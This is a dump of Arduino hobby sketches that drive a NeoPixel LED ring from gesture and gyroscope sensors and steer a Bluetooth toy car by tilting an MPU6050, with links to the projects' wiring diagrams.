/projects/neopixel_ring_gestures/neopixel_ring_gestures.ino: -------------------------------------------------------------------------------- 1 | /** 2 | * Libraries: 3 | * https://github.com/adafruit/Adafruit_NeoPixel 4 | * https://github.com/sparkfun/SparkFun_APDS-9960_Sensor_Arduino_Library 5 | */ 6 | 7 | #include 8 | #include 9 | #include "Wire.h" 10 | 11 | #define NEOPIXED_CONTROL_PIN 6 12 | #define NUM_LEDS 24 13 | #define APDS9960_INT 2 14 | #define LED_SPEED_STEP_INTERVAL 100 15 | 16 | Adafruit_NeoPixel strip = Adafruit_NeoPixel(NUM_LEDS, NEOPIXED_CONTROL_PIN, NEO_RBG + NEO_KHZ800); 17 | SparkFun_APDS9960 apds = SparkFun_APDS9960(); 18 | 19 | 20 | unsigned long lastLedChangeTime = 0; 21 | short ledDirection = 0; 22 | short colorSelection = 0; 23 | byte ledStates[] = {150, 100, 70, 50, 40, 30, 10, 2, 0, 0, 0, 0, 24 | 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}; 25 | int isr_flag = 0; 26 | 27 | 28 | void setup() 29 | { 30 | Serial.begin(9600); 31 | Serial.println("Program started"); 32 | strip.begin(); 33 | pinMode(APDS9960_INT, INPUT); 34 | attachInterrupt(0, interruptRoutine, FALLING); 35 | if ( apds.init() && apds.enableGestureSensor(true)) { 36 | Serial.println("APDS-9960 initialization complete"); 37 | } else { 38 | Serial.println("Something went wrong during APDS-9960 init!"); 39 | } 40 | lastLedChangeTime = millis(); 41 | Serial.println("Init succesfully"); 42 | } 43 | 44 | void loop() 45 | { 46 | if( isr_flag == 1 ) { 47 | detachInterrupt(0); 48 | handleGesture(); 49 | isr_flag = 0; 50 | attachInterrupt(0, interruptRoutine, FALLING); 51 | } 52 | animateLeds(); 53 | } 54 | 55 | void interruptRoutine() 56 | { 57 | isr_flag = 1; 58 | } 59 | 60 | /** 61 | * This will handle gestures from the APDS9960 sensor 62 | * Up and Down gestures will call toggleColor function 63 | * Left and Right gestures will change the led animation 64 | */ 65 | void handleGesture() { 66 | if ( !apds.isGestureAvailable() ) { 67 | return; 68 | } 69 | switch ( apds.readGesture() ) { 70 | case DIR_UP: 71 | Serial.println("UP"); 72 | toggleColor(); 73 | break; 74 | case DIR_DOWN: 75 | Serial.println("DOWN"); 76 | toggleColor(); 77 | break; 78 | case DIR_LEFT: 79 | ledDirection = 1; 80 | Serial.println("LEFT"); 81 | break; 82 | case DIR_RIGHT: 83 | ledDirection = -1; 84 | Serial.println("RIGHT"); 85 | break; 86 | case DIR_FAR: 87 | ledDirection = 0; 88 | Serial.println("FAR"); 89 | break; 90 | } 91 | } 92 | 93 | /** 94 | * Change current leds color 95 | * Each time this function is called will change the leds state 96 | */ 97 | void toggleColor() 98 | { 99 | if (colorSelection == 0) { 100 | colorSelection = 1; 101 | } else if (colorSelection == 1) { 102 | colorSelection = 2; 103 | } else { 104 | colorSelection = 0; 105 | } 106 | } 107 | 108 | /** 109 | * The animation will run after LED_SPEED_STEP_INTERVAL millis 110 | * First the rotateLeds function is called, then the leds colors are set using the strip api 111 | */ 112 | void animateLeds() 113 | { 114 | if (millis() - lastLedChangeTime < LED_SPEED_STEP_INTERVAL) { 115 | return; 116 | } 117 | rotateLeds(); 118 | for (int i=0; i < NUM_LEDS; i++) { 119 | strip.setPixelColor(i, getColor(ledStates[i])); 120 | strip.show(); 121 | } 122 | lastLedChangeTime = millis(); 123 | } 124 | 125 | /** 126 | * Using a secondary array "intermediateLedStates", leds intensities are animated 127 | * First the values from "ledStates" are copied on "intermediateLedStates" like so 128 | * let's sat the "ledStates" array is {100, 80, 60, 0, 0, 0} and the ledDirection is 1 129 | * then after this function is called "ledStates" array is {0, 100, 80, 60, 0, 0} simulating a rotation effect 130 | */ 131 | void rotateLeds() 132 | { 133 | byte intermediateLedStates[NUM_LEDS]; 134 | for (int i=0; i < NUM_LEDS; i++) { 135 | intermediateLedStates[i] = 0; 136 | } 137 | for (int i=0; i < NUM_LEDS; i++) { 138 | if (ledDirection == 1) { 139 | if (i == NUM_LEDS -1) { 140 | intermediateLedStates[0] = ledStates[i]; 141 | } else { 142 | intermediateLedStates[i + 1] = ledStates[i]; 143 | } 144 | } else { 145 | if (i == 0) { 146 | intermediateLedStates[NUM_LEDS - 1] = ledStates[i]; 147 | } else { 148 | intermediateLedStates[i - 1] = ledStates[i]; 149 | } 150 | } 151 | } 152 | for (int i=0; i < NUM_LEDS; i++) { 153 | ledStates[i] = intermediateLedStates[i]; 154 | } 155 | } 156 | 157 | uint32_t getColor(int intensity) 158 | { 159 | switch (colorSelection) { 160 | case 0: 161 | return strip.Color(intensity, 0, 0); 162 | case 1: 163 | return strip.Color(0, intensity, 0); 164 | default: 165 | return strip.Color(0, 0, intensity); 166 | } 167 | 168 | } 169 | 170 | -------------------------------------------------------------------------------- /projects/neopixel_ring_gestures/sketch.fzz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danionescu0/arduino/fd2590f32175c68de9751cb1b6cecdb662f26497/projects/neopixel_ring_gestures/sketch.fzz -------------------------------------------------------------------------------- /projects/neopixel_ring_gestures/sketch_bb.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danionescu0/arduino/fd2590f32175c68de9751cb1b6cecdb662f26497/projects/neopixel_ring_gestures/sketch_bb.png -------------------------------------------------------------------------------- /projects/neopixel_ring_gyroscope/neopixel_ring_gyroscope.ino: -------------------------------------------------------------------------------- 1 | /** 2 | * Libraries: 3 | * https://github.com/adafruit/Adafruit_NeoPixel 4 | * https://github.com/jrowberg/i2cdevlib 5 | * https://github.com/jrowberg/i2cdevlib/tree/master/Arduino/MPU6050 6 | */ 7 | #include "I2Cdev.h" 8 | #include 9 | #include "MPU6050_6Axis_MotionApps20.h" 10 | #include "Wire.h" 11 | 12 | #define NEOPIXED_CONTROL_PIN 6 13 | #define NUM_LEDS 24 14 | 15 | const int MAX_ANGLE = 45; 16 | const int LED_OFFSET = 12; 17 | 18 | MPU6050 mpu; 19 | Adafruit_NeoPixel strip = Adafruit_NeoPixel(NUM_LEDS, NEOPIXED_CONTROL_PIN, NEO_RBG + NEO_KHZ800); 20 | unsigned long lastPrintTime = 0; 21 | 22 | 23 | bool initialization = false; // set true if DMP init was successful 24 | uint8_t mpuIntStatus; // holds actual interrupt status byte from MPU 25 | uint8_t devStatus; // return status after each device operation (0 = success, !0 = error) 26 | uint16_t packetSize; // expected DMP packet size (default is 42 bytes) 27 | uint16_t fifoCount; // count of all bytes currently in FIFO 28 | uint8_t fifoBuffer[64]; // FIFO storage buffer 29 | Quaternion q; // [w, x, y, z] quaternion container 30 | VectorFloat gravity; // [x, y, z] gravity vector 31 | float ypr[3]; // [yaw, pitch, roll] yaw/pitch/roll container and gravity vector 32 | volatile bool mpuInterrupt = false; // indicates whether MPU interrupt pin has gone high 33 | 34 | void setup() 35 | { 36 | Serial.begin(9600); 37 | Serial.println("Program started"); 38 | initialization = initializeGyroscope(); 39 | strip.begin(); 40 | } 41 | 42 | void loop() 43 | { 44 | if (!initialization) { 45 | return; 46 | } 47 | mpuInterrupt = false; 48 | mpuIntStatus = mpu.getIntStatus(); 49 | fifoCount = mpu.getFIFOCount(); 50 | if (hasFifoOverflown(mpuIntStatus, fifoCount)) { 51 | mpu.resetFIFO(); 52 | return; 53 | } 54 | if (mpuIntStatus & 0x02) { 55 | while (fifoCount < packetSize) { 56 | fifoCount = mpu.getFIFOCount(); 57 | } 58 | mpu.getFIFOBytes(fifoBuffer, packetSize); 59 | fifoCount -= packetSize; 60 | mpu.dmpGetQuaternion(&q, fifoBuffer); 61 | mpu.dmpGetGravity(&gravity, &q); 62 | mpu.dmpGetYawPitchRoll(ypr, &q, &gravity); 63 | redrawLeds(ypr[0] * 180/M_PI, ypr[1] * 180/M_PI, ypr[2] * 180/M_PI); 64 | } 65 | } 66 | 67 | boolean hasFifoOverflown(int mpuIntStatus, int fifoCount) 68 | { 69 | return mpuIntStatus & 0x10 || fifoCount == 1024; 70 | } 71 | 72 | void redrawLeds(int x, int y, int z) 73 | { 74 | x = constrain(x, -1 * MAX_ANGLE, MAX_ANGLE); 75 | y = constrain(y, -1 * MAX_ANGLE, MAX_ANGLE); 76 | if (y < 0 and z > 0) { 77 | lightLeds(y, z, 0, 5, 0, 89); 78 | } else if (y < 0 and z < 0) { 79 | lightLeds(y, z, 6, 12, 89, 0); 80 | } else if (y > 0 and z < 0) { 81 | lightLeds(y, z, 13, 19, 0, 89); 82 | } else if (y > 0 and z > 0) { 83 | lightLeds(y, z, 20, 24, 89, 0); 84 | } 85 | } 86 | 87 | 88 | void lightLeds(int x, int y, int fromLedPosition, int toLedPosition, int fromAngle, int toAngle) 89 | { 90 | double angle = (atan((double) abs(x) / (double) abs (y)) * 4068) / 71; 91 | int ledNr = map(angle, fromAngle, toAngle, fromLedPosition, toLedPosition); 92 | printDebug(x, y, ledNr, angle); 93 | uint32_t color; 94 | 95 | for (int i=0; i < NUM_LEDS; i++) { 96 | color = strip.Color(0, 0, 0); 97 | if (i == ledNr) { 98 | color = strip.Color(0, 180, 0); 99 | } else if (i == ledNr - 1) { 100 | color = strip.Color(0, 5, 0); 101 | } 102 | strip.setPixelColor(normalizeLedPosition(i), color); 103 | strip.show(); 104 | } 105 | } 106 | 107 | int normalizeLedPosition(int position) 108 | { 109 | if (NUM_LEDS > position + LED_OFFSET) { 110 | return position + LED_OFFSET; 111 | } 112 | 113 | return position + LED_OFFSET - NUM_LEDS; 114 | } 115 | 116 | void printDebug(int y, int z, int lightLed, int angle) 117 | { 118 | if (millis() - lastPrintTime < 500) { 119 | return; 120 | } 121 | Serial.print("a=");Serial.print(angle);Serial.print("; "); 122 | Serial.print("ll=");Serial.print(lightLed);Serial.print("; "); 123 | Serial.print("y=");Serial.print(y);Serial.print("; "); 124 | Serial.print("z=");Serial.print(z);Serial.println("; "); 125 | lastPrintTime = millis(); 126 | } 127 | 128 | 129 | bool initializeGyroscope() { 130 | Wire.begin(); 131 | TWBR = 24; 132 | mpu.initialize(); 133 | Serial.println(mpu.testConnection() ? F("MPU6050 connection successful") : F("MPU6050 connection failed")); 134 | Serial.println(F("Initializing DMP...")); 135 | devStatus = mpu.dmpInitialize(); 136 | mpu.setXGyroOffset(220); 137 | mpu.setYGyroOffset(76); 138 | mpu.setZGyroOffset(-85); 139 | mpu.setZAccelOffset(1788); 140 | if (devStatus != 0) { 141 | Serial.print(F("DMP Initialization failed (code "));Serial.println(devStatus); 142 | return false; 143 | } 144 | mpu.setDMPEnabled(true); 145 | Serial.println(F("Enabling interrupt detection (Arduino external interrupt 0)...")); 146 | attachInterrupt(0, dmpDataReady, RISING); 147 | mpuIntStatus = mpu.getIntStatus(); 148 | Serial.println(F("DMP ready! Waiting for first interrupt...")); 149 | packetSize = mpu.dmpGetFIFOPacketSize(); 150 | 151 | return true; 152 | } 153 | 154 | void dmpDataReady() 155 | { 156 | mpuInterrupt = true; 157 | } 158 | 159 | -------------------------------------------------------------------------------- /projects/neopixel_ring_gyroscope/sketch.fzz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danionescu0/arduino/fd2590f32175c68de9751cb1b6cecdb662f26497/projects/neopixel_ring_gyroscope/sketch.fzz -------------------------------------------------------------------------------- /projects/neopixel_ring_gyroscope/sketch_bb.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danionescu0/arduino/fd2590f32175c68de9751cb1b6cecdb662f26497/projects/neopixel_ring_gyroscope/sketch_bb.png -------------------------------------------------------------------------------- /projects/zen_wheels_remote/sketch.fzz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danionescu0/arduino/fd2590f32175c68de9751cb1b6cecdb662f26497/projects/zen_wheels_remote/sketch.fzz -------------------------------------------------------------------------------- /projects/zen_wheels_remote/sketch_bb.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danionescu0/arduino/fd2590f32175c68de9751cb1b6cecdb662f26497/projects/zen_wheels_remote/sketch_bb.jpg -------------------------------------------------------------------------------- /projects/zen_wheels_remote/zen_wheels_remote.ino: -------------------------------------------------------------------------------- 1 | /** 2 | * Libraries: 3 | * https://github.com/jrowberg/i2cdevlib 4 | * https://github.com/jrowberg/i2cdevlib/tree/master/Arduino/MPU6050 5 | */ 6 | #include "I2Cdev.h" 7 | #include "MPU6050_6Axis_MotionApps20.h" 8 | #include "Wire.h" 9 | #include "SoftwareSerial.h" 10 | 11 | const int MAX_ANGLE = 45; 12 | const byte commandStering = 129; 13 | const byte commandSpeed = 130; 14 | 15 | 16 | bool initialization = false; // set true if DMP init was successful 17 | uint8_t mpuIntStatus; // holds actual interrupt status byte from MPU 18 | uint8_t devStatus; // return status after each device operation (0 = success, !0 = error) 19 | uint16_t packetSize; // expected DMP packet size (default is 42 bytes) 20 | uint16_t fifoCount; // count of all bytes currently in FIFO 21 | uint8_t fifoBuffer[64]; // FIFO storage buffer 22 | Quaternion q; // [w, x, y, z] quaternion container 23 | VectorFloat gravity; // [x, y, z] gravity vector 24 | float ypr[3]; // [yaw, pitch, roll] yaw/pitch/roll container and gravity vector 25 | volatile bool mpuInterrupt = false; // indicates whether MPU interrupt pin has gone high 26 | 27 | unsigned long lastPrintTime, lastMoveTime = 0; 28 | 29 | SoftwareSerial BTserial(10, 11); 30 | MPU6050 mpu; 31 | 32 | 33 | void setup() 34 | { 35 | Serial.begin(9600); 36 | BTserial.begin(38400); 37 | Serial.println("Program started"); 38 | initialization = initializeGyroscope(); 39 | } 40 | 41 | void loop() { 42 | if (!initialization) { 43 | return; 44 | } 45 | mpuInterrupt = false; 46 | mpuIntStatus = mpu.getIntStatus(); 47 | fifoCount = mpu.getFIFOCount(); 48 | if (hasFifoOverflown(mpuIntStatus, fifoCount)) { 49 | mpu.resetFIFO(); 50 | return; 51 | } 52 | if (mpuIntStatus & 0x02) { 53 | while (fifoCount < packetSize) { 54 | fifoCount = mpu.getFIFOCount(); 55 | } 56 | mpu.getFIFOBytes(fifoBuffer, packetSize); 57 | fifoCount -= packetSize; 58 | mpu.dmpGetQuaternion(&q, fifoBuffer); 59 | mpu.dmpGetGravity(&gravity, &q); 60 | mpu.dmpGetYawPitchRoll(ypr, &q, &gravity); 61 | steer(ypr[0] * 180/M_PI, ypr[1] * 180/M_PI, ypr[2] * 180/M_PI); 62 | } 63 | } 64 | 65 | /* 66 | * Receives angle from 0 to 180 where 0 is max left and 180 is max right 67 | * Receives speed from -90 to 90 where -90 is max backwards and 90 is max forward 68 | */ 69 | void moveZwheelsCar(byte angle, int speed) 70 | { 71 | if (millis() - lastMoveTime < 100) { 72 | return; 73 | } 74 | byte resultAngle; 75 | int resultSpeed; 76 | if (angle >= 90) { 77 | resultAngle = map(angle, 91, 180, 1, 60); 78 | } else if (angle < 90) { 79 | resultAngle = map(angle, 1, 90, 60, 120); 80 | } 81 | if (speed > 0) { 82 | resultSpeed = map(speed, 0, 90, 0, 60); 83 | } else if (speed < 0) { 84 | resultSpeed = map(speed, 0, -90, 120, 60); 85 | } 86 | Serial.print("actualAngle=");Serial.print(angle);Serial.print("; "); 87 | Serial.print("actualSpeed=");Serial.print(resultSpeed);Serial.println("; "); 88 | BTserial.write(commandStering); 89 | BTserial.write(resultAngle); 90 | BTserial.write(commandSpeed); 91 | BTserial.write((byte) resultSpeed); 92 | lastMoveTime = millis(); 93 | } 94 | 95 | void steer(int x, int y, int z) 96 | { 97 | x = constrain(x, -1 * MAX_ANGLE, MAX_ANGLE); 98 | y = constrain(y, -1 * MAX_ANGLE, MAX_ANGLE); 99 | z = constrain(z, -MAX_ANGLE, MAX_ANGLE); 100 | int angle = map(y, -MAX_ANGLE, MAX_ANGLE, 0, 180); 101 | int speed = map(z, -MAX_ANGLE, MAX_ANGLE, 90, -90); 102 | printDebug(x, y, z, angle, speed); 103 | moveZwheelsCar(angle, speed); 104 | } 105 | 106 | void printDebug(int x, int y, int z, int angle, int speed) 107 | { 108 | if (millis() - lastPrintTime < 1000) { 109 | return; 110 | } 111 | Serial.print("z=");Serial.print(x);Serial.print("; "); 112 | Serial.print("y=");Serial.print(y);Serial.print("; "); 113 | Serial.print("z=");Serial.print(z);Serial.print("; "); 114 | Serial.print("angle=");Serial.print(angle);Serial.print("; "); 115 | Serial.print("speed=");Serial.print(speed);Serial.println("; "); 116 | lastPrintTime = millis(); 117 | } 118 | 119 | bool initializeGyroscope() 120 | { 121 | Wire.begin(); 122 | mpu.initialize(); 123 | Serial.println(mpu.testConnection() ? F("MPU6050 connection successful") : F("MPU6050 connection failed")); 124 | devStatus = mpu.dmpInitialize(); 125 | mpu.setXGyroOffset(220); 126 | mpu.setYGyroOffset(76); 127 | mpu.setZGyroOffset(-85); 128 | mpu.setZAccelOffset(1788); 129 | if (devStatus != 0) { 130 | Serial.print(F("DMP Initialization failed (code "));Serial.println(devStatus); 131 | return false; 132 | } 133 | mpu.setDMPEnabled(true); 134 | Serial.println(F("Enabling interrupt detection (Arduino external interrupt 0)...")); 135 | attachInterrupt(0, dmpDataReady, RISING); 136 | mpuIntStatus = mpu.getIntStatus(); 137 | Serial.println(F("DMP ready! Waiting for first interrupt...")); 138 | packetSize = mpu.dmpGetFIFOPacketSize(); 139 | 140 | return true; 141 | } 142 | 143 | void dmpDataReady() 144 | { 145 | mpuInterrupt = true; 146 | } 147 | 148 | boolean hasFifoOverflown(int mpuIntStatus, int fifoCount) 149 | { 150 | return mpuIntStatus & 0x10 || fifoCount == 1024; 151 | } 152 | --------------------------------------------------------------------------------